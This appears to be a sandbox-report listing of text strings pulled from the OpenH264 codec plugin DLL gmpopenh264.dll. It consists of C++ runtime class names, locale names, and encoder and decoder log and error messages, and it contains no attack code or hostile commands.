
Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_cast@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_exception@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCAdaptiveQuantization@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCBackgroundDetection@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCComplexityAnalysis@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCComplexityAnalysisScreen@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCDenoiser@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCDownsampling@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCImageRotating@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCMemoryAlign@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVcodecvt_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCSceneChangeDetectorScreen@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCSceneChangeDetectorVideo@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCScrollDetection@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCVAACalculation@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCVpFrameWork@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsDecoder@WelsDec@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsH264SVCEncoder@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsPreProcess@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVerror_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVexception@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVfacet@locale@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVfailure@ios_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVgmp_args_base@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPTask@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPVideoDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPVideoEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVios_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVIStrategy@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVISVCDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVISVCEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVIWelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVlength_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVlogic_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVOpenH264VideoDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVOpenH264VideoEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVout_of_range@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVruntime_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVsystem_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVtype_info@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.rodata

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#IND

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#INF

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#QNAN

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#SNAN

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1d32e96+M

Ansi based on Dropped File (gmpopenh264.dll.97104820)

5s3R6=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; BR =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Layer =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Max payload size:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Max:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Min:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

<))))???????????

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Unicode based on Dropped File (gmpopenh264.dll.97104820)

>@WelsEncoderParamAdjust(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

>WelsEncoderApplyBitVaryRang:UpdateMaxBitrate layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?4j<=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?C;0=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?Dj0Q:W$=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?iVaaFrameSceneChangeIdc = %d,codingIdx = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?OpenH264 version:1.3.0.0

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?SetMeMethod(BLOCK_8x8) ME_DIA_CROSS_FME unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@.reloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_MAX_BITRATE,, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] CodingSliceThreadProc(), waiting pReadySliceCodingEvent[%d] failed(%d) and thread%d terminated!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] DynamicAdjustSlicing(), invalid iNumMbInEachGom= %d from RC, iDid= %d, iCountNumMb= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] WelsEncoderEncodeExt(), FiredSliceThreads return(%d) failed and exit encoding frame, iCountThreadsNum= %d, iSliceCount= %d, uiSliceMode= %d, iMultipleThreadIdc= %d!!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Debug:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Detail:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Error:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Info:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Warning:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d, Predict skip frames = %d and %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] Frame timestamp = %lld, skip one frame, continual skipped %d frames

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Begin with:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Getting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Getting Frame Rate:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Setting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Setting Frame Rate: ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Update Encoder Bandwidth (AllLayers): ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Update Encoder Frame Rate: ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__based(

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__cdecl

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__clrcall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__eabi

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__fastcall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__pascal

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__ptr64

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__restrict

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__stdcall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__thiscall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__unaligned

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_cabs

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_fmo->pMbAllocMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_hypot

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_logb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_nextafter

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_pic->buffer[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`copy constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`default constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`dynamic atexit destructor for '

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`dynamic initializer for '

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector destructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector vbase constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector vbase copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`h````

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local static guard'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local static thread guard'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local vftable constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local vftable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`managed vector constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`managed vector copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`managed vector destructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`omni callsig'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`placement delete closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`placement delete[] closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`RTTI

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`scalar deleting destructor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`string'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`typeof'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`udt returning'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vbase destructor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vbtable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vcall'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector deleting destructor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector destructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector vbase constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector vbase copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vftable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`virtual displacement map'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

abcdefghijklmnopqrstuvwxyz

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ABCDEFGHIJKLMNOPQRSTUVWXYZ

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Access Unit

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), iCountNumLayers(%d) > MAX_LAYER_NUM_OF_FRAME(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), num_of_nals(%d) > MAX_NAL_UNITS_IN_LAYER(%d) per (iDid= %d, qid= %d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), num_of_slice(%d) > MAX_SLICES_NUM(%d) per (iDid= %d, qid= %d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Ainvalid syntax slice_alpha_c0_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Allocated size =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

america

Ansi based on Dropped File (gmpopenh264.dll.97104820)

american

Ansi based on Dropped File (gmpopenh264.dll.97104820)

american english

Ansi based on Dropped File (gmpopenh264.dll.97104820)

american-english

Ansi based on Dropped File (gmpopenh264.dll.97104820)

April

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Arg list too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ASWelsSvcCodingParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

atan2

Ansi based on Dropped File (gmpopenh264.dll.97104820)

August

Ansi based on Dropped File (gmpopenh264.dll.97104820)

australian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AuthenticAMD

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Bad address

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad allocation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad cast

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad exception

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Bad file descriptor

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad locale name

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BC .=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

belgian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bEnableFrameSkip = %d,bitrate can't be controlled for RC_QUALITY_MODE and RC_BITRATE_MODE without enabling skip frame.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BitRate(kbps):

Ansi based on Dropped File (gmpopenh264.dll.97104820)

britain

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Broken pipe

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bruary

Unicode based on Dropped File (gmpopenh264.dll.97104820)

bSliceSkipFlag == 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

canadian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

change level to level5.0

Ansi based on Dropped File (gmpopenh264.dll.97104820)

china

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-hongkong

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-simplified

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-singapore

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-traditional

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CONOUT$

Unicode based on Dropped File (gmpopenh264.dll.97104820)

continuous error reached INT_MAX! Restart as 0.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CorExitProcess

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't allocate empty I420 frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't create decoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't create new thread

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't encode frame. Error =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't encode frame. Type =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't initialize decoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't initialize encoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't make decoded frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Critical

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Current MaxSpatialBitrate is zero,Get this value from level limitation(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::CWelsDecoder() entry

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::init_decoder(), openh264 codec version = %s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::Initialize(), invalid input argument.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption for ERROR_CON_IDC = %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption():DECODER_OPTION_GET_STATISTICS: this option is get-only!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::uninit_decoder(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::~CWelsDecoder()

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pFirstMbInSlice is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pNalLen is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pNalList is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pSlice is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc MbCache not successful at slice_idx=%d (max-slice=%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc pCountMbNumInSlice not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc pSlcingOverRc not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::ForceIntraFrame(), bIDR= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_BITRATE, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_DATAFORMAT, m_iCspInternal= 0x%x

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_FRAME_RATE, fMaxFrameRate = %.6ff

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_IDR_INTERVAL, uiIntraPeriod= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_MAX_BITRATE,, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_BASE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_EXT

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitEncoder(), openh264 codec version = %s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid argv= 0x%p

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid argv= 0x%p.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid iSpatialLayerNum= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid iTemporalLayerNum= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiGopSize= %d, valid at range of [1, %d] and yield to power of 2.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiGopSize= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiIntraPeriod= %d, valid in case it equals to 0 for unlimited intra period or exceeds specified uiGopSize= %d also multiple of it.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiIntraPeriod= %d, valid in case it equals to 0 for unlimited intra period or exceeds specified uiGopSize= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), parameter_translation failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), reinitialize, m_bInitialFlag= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), WelsInitEncoderExt failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitializeExt(), invalid argv= 0x%p

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitializeExt(), parameter_translation failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption bPrefixNalAddingCtrl = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable LTR = %d,ltrnum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable SPS/PPS ID = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable SSEI = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_LTR_MARKING_PERIOD iLtrMarkPeriod= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE layerId= %d,iSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE,iLayer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITS_VARY_PERCENTAGE,iBitsVaryPercentage = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_COMPLEXITY,iComplexityMode = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_DATAFORMAT, m_iCspInternal= 0x%x

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_DELIVERY_STATUS,bDeliveryFlag = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_FRAME_RATE,m_pEncContext->pSvcParam->fMaxFrameRate= %f

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_GET_STATISTICS: this option is get-only!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_IDR_INTERVAL iValue= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_IS_LOSSLESS_LINK,bIsLosslessLink = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_LEVEL,layerId = %d,expected level = %d,actual level = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_LTR,expected bEnableLongTermReference = %d,expeced iLTRRefNum = %d,actual bEnableLongTermReference = %d,actual iLTRRefNum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_MAX_BITRATE,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_MAX_BITRATE,iLayer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_NUMBER_REF,expected refNum = %d,actual refnum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_PROFILE,iLayer = %d(rang0-3)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_PROFILE,layerId = %d,expected profile = %d,actual profile = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_RC_MODE iRCMode= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_STATISTICS_LOG_INTERVAL,iStatisticsLogInterval = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_BASE iUsageType = %d,iPicWidth= %d;iPicHeight= %d;iTargetBitrate= %d;fMaxFrameRate= %.6ff;iRCMode= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_PADDING_PADDING iPaddingFlag= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Uninitialize(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::WelsCodeOnePicPartition: DynSliceRealloc not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::WelsCodeOnePicPartition: iSliceIdx(%d) over iMaxSliceNumConstraint(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::~CWelsH264SVCEncoder()

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CyrixInstead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

czech

Ansi based on Dropped File (gmpopenh264.dll.97104820)

dddd, MMMM dd, yyyy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Debug

Ansi based on Dropped File (gmpopenh264.dll.97104820)

December

Unicode based on Dropped File (gmpopenh264.dll.97104820)

decode failed, failure type:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

decode-video

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit() failed (%d) in frame: %d uiDId: %d uiQId: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit(), FmoParamUpdate failed, eSliceType: %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit()::::::PrefetchPic ERROR, pSps->iNumRefFrames:%d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction(): iTotalNumMbRec:%d, total_num_mb_sps:%d, cur_layer_mb_width:%d, cur_layer_mb_height:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction(): will output first frame of new sequence, %d x %d, crop_left:%d, crop_right:%d, crop_top:%d, crop_bottom:%d, ignored error packet:%d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction():New sequence detected, but freezed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodePointer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Decoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeSpsSvcExt():extended_spatial_scalability (%d) != 0, ESS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Decoding error dState=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Decoding frame size=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Directory not empty

Ansi based on Dropped File (gmpopenh264.dll.97104820)

disable_deblock_filter_idc (%d) out of range [0, 6]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

disable_inter_layer_deblock_filter_idc (%d) out of range [0, 6]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DoErrorConSliceMVCopy()::pPreviousPic and pDec use same buffer, ignored.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support level(%d) change to LEVEL_5_2

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support profile(%d),change to baseline profile

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support the number of reference frame(%d) change to auto select mode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Domain error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

dutch-belgian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DynSlcJudgeSliceBoundaryStepBack: AddSliceBoundary: iCurMbIdx=%d, uiLen=%d, uiSliceIdx=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

e+000

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ee%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

een called

Unicode based on Dropped File (gmpopenh264.dll.97104820)

encode-video

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EncodePointer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Encoder

